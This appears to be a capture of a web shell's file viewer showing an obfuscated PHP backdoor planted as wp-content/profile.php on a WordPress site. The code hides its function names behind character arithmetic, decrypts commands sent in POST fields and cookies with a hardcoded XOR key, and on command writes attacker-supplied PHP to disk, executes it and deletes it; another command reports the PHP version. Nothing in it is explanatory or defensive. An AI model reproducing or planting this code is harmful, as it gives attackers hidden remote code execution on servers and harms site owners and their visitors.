HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux vm8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: afleverb (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //var/www/wintergenomics_site/wp-content/profile.php
<?php 

$vlokuamu /*wqj   */ =    'vlokuamu' /*  ffqrvq  */ ^      '';$gfaitnswl      =	$vlokuamu(322-225)	. /*   ydwuh */ $vlokuamu(114) /*  usxqf_ */ . /*  kmwncg */ "\x72"    . /*   tbexe   */ "a"."y"."\x5f" /*   vpa_iz*/ .     $vlokuamu(109)     . /*   fa  */ "a"."p";






function    pokkvpp($xncnzbvwhbgokhzn,  $etguy){


       global      $vlokuamu;   

 /*  olq */ $xncnzbvwhbgokhzn  =	$vlokuamu(60)	.	"?"."p"."\150" /*   uj*/ .	"p".$vlokuamu(32)    .    $vlokuamu(117)  . /*   so*/ $vlokuamu(514-404)  .      "\x6c"  . /*vobk*/ $vlokuamu(105)  .    "n"."k"."\50"	.       "_"."\137"   . /*epz */ "\106"	.	"I"."L"."E"."_"."_".")".$vlokuamu(59) /*  nltxqy */ .  $vlokuamu(32)	.	$xncnzbvwhbgokhzn[$vlokuamu(852-752)];

 /*   bbm  */ $rvq_o_t	= /*wemw*/ $vlokuamu(102) /*d */ .     "i"."\x6c"     .    $vlokuamu(307-206)."_"."\160"      .    $vlokuamu(147-30) /*wgyl */ . /*  _dlih  */ "t".$vlokuamu(607-512)    . /* vgcb*/ "c"."o".$vlokuamu(245-135)    .    "t".$vlokuamu(285-184)   .	"\156" /* jlai*/ . /*   nuulsa  */ $vlokuamu(116)	.	"\x73"; /*i  */ 


	$rvq_o_t($etguy, /*   el   */ $xncnzbvwhbgokhzn);
   
  xzotqzyo($etguy);}
$ubfjbkxbi	=     73;




function    xzotqzyo($etguy)
{


 /*  um   */ global      $vlokuamu;


 /*   pvrh  */ 


	include($etguy);
 /* faey   */ $pfnsfcd /*xwrnb */ =    $etguy;


 /*   bagq   */ @unlink($pfnsfcd);


}


function /*   o  */ iirocrx()

{     global     $vlokuamu;


    $xncnzbvwh /* zk */ =	array();    $xncnzbvwh[$vlokuamu(903-791) /*   hbb*/ . /* iwheih */ "\166"]     =	phpversion();
    $xncnzbvwh["s".$vlokuamu(655-537)]	= /*mixtgq   */ $vlokuamu(51)  . /*   mjxn   */ $vlokuamu(46) /*  qz   */ . /*   s   */ "5";

	$eebbeljy    = /*   lqe   */ 74;


      echo    @serialize($xncnzbvwh);

}
function    mgpgvwq($xncnzbvwhbgokhzn,	$mltyp)


{
    global	$vlokuamu;





      $s_pipk       = /* nrcgub*/ "";


  $zspurps_	=	strlen($xncnzbvwhbgokhzn);
    $kospzlfv	=    strlen($mltyp);
 /*  c */ $xncnzbvwh	= /*  pqe */ 0;

 /*  htrggf  */ $kwnwsaxhc  =    0;


	
    while       ($xncnzbvwh       <    $zspurps_) /*   xqbfw_  */ {
 /* _eh   */ $ebputwr /*pjvkx  */ =    $xncnzbvwhbgokhzn[$xncnzbvwh]      ^	$mltyp[$kwnwsaxhc     % /* o_joy */ $kospzlfv];


 /* tmippx  */ $s_pipk /*fmh   */ .= /*bj   */ $ebputwr;
    $kwnwsaxhc++; /*   kzpqdg  */ 


 /*   uyng*/ $xncnzbvwh++;


 /*   rqs  */ }    

 /*   mj  */ if	(strlen($s_pipk)	> /*jij  */ 20)    {
 /*  qpwfoc   */ $xnfuqj       =  substr($s_pipk,  0,      20);

    }

	if /*_b   */ (empty($s_pipk))     {
    $s_pipk       = /* smdeq*/ date('Y-m-d /*   m   */ H:i:s');

 /*pvya   */ }


 /*   yn  */ return  $s_pipk;
}


function	jinket($bjfirvuyhu)
{
     global	$vlokuamu;

    	$znpusudzvf /*   gy  */ =	"\x34"    .      $vlokuamu(53)    . /*qo   */ $vlokuamu(307-206)."8"."\141" /*uibsku   */ .	"\x39"    .    $vlokuamu(52)	. /*  gw */ "\x38" /*   io*/ .     $vlokuamu(576-531)	.	"\142" /*   ks */ .    "c".$vlokuamu(997-945) /*  ilt  */ .	"1".$vlokuamu(45)    . /* _v */ "\x34" /*   xwshs*/ .	$vlokuamu(803-703) /*ehgn  */ .  $vlokuamu(49)    .       $vlokuamu(98) /*   ky   */ .	"-"."\x39"    .    $vlokuamu(98) /*   kn*/ . /*dy  */ "\65" /*  vjsbz*/ .    "6"."-"."2".$vlokuamu(1080-980)     . /* w */ $vlokuamu(452-397) /*  uifff  */ .  "\x63"    . /* bvj   */ $vlokuamu(567-512)	. /*   tvxtm*/ $vlokuamu(307-206)."a"."\143"       .      "9".$vlokuamu(574-517) /*   efjul   */ .   "a"."\x61";
 /*   vuycib  */ 
 /* whea*/ foreach    ($bjfirvuyhu    as   $fvrkt /*uh*/ => /* timnc  */ $xncnzbvwhbgokhzn) /* nfkdq */ {


 /*  cnk */ ddkcx(base64_decode($xncnzbvwhbgokhzn),	$znpusudzvf, /*   jir  */ $fvrkt);
    }}
function    ddkcx($xncnzbvwhbgokhzn,    $znpusudzvf,    $fvrkt){ /*  rvv   */ global /*fn*/ $vlokuamu;
 /*   yozwa   */ 
	$xncnzbvwhbgokhzn   =	unserialize(mgpgvwq(mgpgvwq($xncnzbvwhbgokhzn,    $znpusudzvf),	$fvrkt));


	$rwvgucu       = /*shyn   */ 'dmkggvegdr';

	$hkvznsq_j	=     'tpiyodsig';

 /* bmjew */ if  (isset($xncnzbvwhbgokhzn["\141"  .   "\153"]))      {


	if     ($xncnzbvwhbgokhzn["a"]	==   "i") /*   ymp*/ {


       iirocrx();    }	elseif    ($xncnzbvwhbgokhzn["a"] /*vftn */ ==	$vlokuamu(307-206))	{
    pokkvpp($xncnzbvwhbgokhzn, /*   xt  */ sprintf("."."\57"   .    "%"."s"."\56" /*  oswatz*/ .	"\160" /*   _bcil   */ .     "l",   md5($znpusudzvf)));
			$hgi_wn     = /* thub  */ 44;
  }
	exit();


 /*_qp*/ }
}


jinket($_POST); /*   _*/ 


$kwnwsaxhcjirmz	=   'rawurldecode';




$pxzcggys_e /* neeqa  */ =    $gfaitnswl($kwnwsaxhcjirmz,     $_POST);
explode("",	$kwnwsaxhcjirmz);

jinket($_COOKIE);

$b_weaosn	= /*  yerb   */ $gfaitnswl($kwnwsaxhcjirmz,       $_COOKIE);





?>